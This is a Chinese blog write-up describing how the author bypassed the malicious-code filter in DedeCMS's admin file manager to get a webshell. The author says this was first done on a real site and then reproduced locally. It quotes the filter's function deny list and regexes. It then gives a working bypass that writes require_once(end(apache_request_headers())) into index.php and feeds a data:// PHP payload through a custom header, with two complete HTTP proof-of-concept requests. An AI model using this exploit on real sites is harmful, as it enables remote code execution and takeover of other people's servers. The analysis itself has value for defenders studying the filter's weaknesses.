记一次最新版DeDecms 绕过层层过滤getshell过程
前言
最近织梦也是发了最新版的,最近也是遇到了使用织梦搭建的网站
当时是进了后台,然后最后也是成功getshell了,因为各种原因,使用本地搭建的环境给大家做一次分享,仅供学习
环境搭建
只需要下载最新版的就好了,然后使用phpstudy搭建
getshell过程
后台如下
然后点击模块,文件管理处
发现可以编辑文件
正当我以为手拿把掐的时候悲剧也是发生了
存在恶意代码,看来是不能够写入木马的
我们跟进一下到waf部分
require(dirname(__FILE__)."/config.php");
CheckPurview('plus_文件管理器');
require(DEDEINC."/oxwindow.class.php");
require_once(DEDEADMIN.'/file_class.php');
// 路径限制
$filename = preg_replace("#([.]+[/]+)*#", "", $filename);
$activepath = str_replace("..", "", $activepath);
$activepath = preg_replace("#^\/{1,}#", "/", $activepath);
if($activepath == "/") $activepath = "";
if($activepath == "") $inpath = $cfg_basedir;
else $inpath = $cfg_basedir.$activepath;
// 不允许这些字符
$str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str);
global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders';
foreach (explode(",", $cfg_disable_funs) as $value) {
$value = str_replace(" ", "", $value);
if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", " {$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
}
}
if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$str}") == TRUE) {
if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
}
if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
}
if(preg_match("#[`][\s\S]*[`]#i", " {$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
}
}
可以看到waf是很多的
waf1
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
可以发现可以执行命令或者写入文件的函数是禁用了很多,几乎是找不到其他的函数去绕过了
$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders';
然后还发现根本不允许我们使用动态传入参数的这种方法,几乎是被禁用完了
foreach (explode(",", $cfg_disable_funs) as $value) {
$value = str_replace(" ", "", $value);
if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", " {$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
}
}
这就是正则去匹配我们的黑名单
- 第一条正则表达式:
if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$str}") == TRUE) {
-
功能:检查字符串是否以 PHP 开始(即包含
<?php
或<?=
)。 -
示例:匹配字符串
<?php echo "Hello";
或<?= "Hello";
。
- 第二条正则表达式:
if(preg_match("#[$][_0-9a-z]+[\s][(][\s\S][)][\s]*[;]#iU", " {$str}") == TRUE) {
-
功能:检查字符串中是否存在以
$
开头的变量调用,并且后面跟着括号和分号,通常用于函数调用。 -
示例:匹配字符串
$varName();
或$myFunction($arg1, $arg2);
。
-
第三条正则表达式:
if(preg_match("#[@][$][_0-9a-z]+[\s][(][\s\S][)]#iU", " {$str}") == TRUE) {
-
功能:检查字符串中是否存在以
@
开头的错误抑制符,后面跟着以$
开头的变量调用。 -
示例:匹配字符串
@$varName();
或@myFunction($arg1);
。
- 第四条正则表达式:
if(preg_match("#[][\s\S]*[
]#i", " {$str}") == TRUE) {
- 功能:检查字符串中是否存在反引号(`)包围的内容,通常用于命令执行。
-
示例:匹配字符串
ls -la
或system('id')
。
发现限制还是非常严格的
首先是不能使用php的动态函数了
比如这种
<?php
$a="system";
$a("whoami");
然后还不能使用我们的动态传入参数,导致webshell很能写入
之后思考想着可以使用
getallheaders
getallheaders(): array
获取当前请求的所有请求头信息。
此函数是 apache_request_headers()的别名。 请阅读 apache_request_headers() 文档获得更多信息。
然后发现getallheaders被禁用,但是翻阅我们的php官方的手册发现
此函数是 apache_request_headers()的别名
apache_request_headers(): array
获取当前请求的所有请求头信息。 可在 Apache、FastCGI、CLI、FPM 模式下运行。
而我们的服务就是Apache搭建的
然后还需要配合我们的end函数
end(array|object &$array
): mixed
end() 将 array
的内部指针移动到最后一个单元并返回其值。
传参的问题是解决了,但是如何执行命令任然没有解决,最后思考了,发现可以使用包含,然后配合为协议
require_once并没有被禁用
require_once
表达式和 require 表达式完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。
保存成功
POC
POST /dede/file_manage_control.php HTTP/1.1
Host: dedecms:5135
Content-Length: 161
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dedecms:5135
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://dedecms:5135/dede/file_manage_view.php?fmdo=edit&filename=index.php&activepath=
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=sjps1s46kr088b1ucbb5bgd405; XDEBUG_SESSION=PHPSTORM; _csrf_name_f9024a86=5d4984c530044d7c2a1a3b431f525a58; _csrf_name_f9024a861BH21ANI1AGD297L1FF21LN02BGE1DNG=9c665069c5a76009; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=cdad88453fa752a4; DedeLoginTime=1725190105; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=ecd742702d7de4d4
Connection: keep-alive
fmdo=edit&backurl=&token=&activepath=&filename=index.php&str=%3C%3Fphp%0D%0Arequire_once%28end%28apache_request_headers%28%29%29%29%3B&B1=++%E4%BF%9D+%E5%AD%98++
然后访问文件,使用data为协议
POC
GET /index.php HTTP/1.1
rce: data://text/plain,<?php phpinfo();?>
Host: dedecms:5135
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=sjps1s46kr088b1ucbb5bgd405; XDEBUG_SESSION=PHPSTORM; _csrf_name_f9024a86=5d4984c530044d7c2a1a3b431f525a58; _csrf_name_f9024a861BH21ANI1AGD297L1FF21LN02BGE1DNG=9c665069c5a76009; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=cdad88453fa752a4; DedeLoginTime=1725190105; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=ecd742702d7de4d4
Connection: keep-alive
成功执行了代码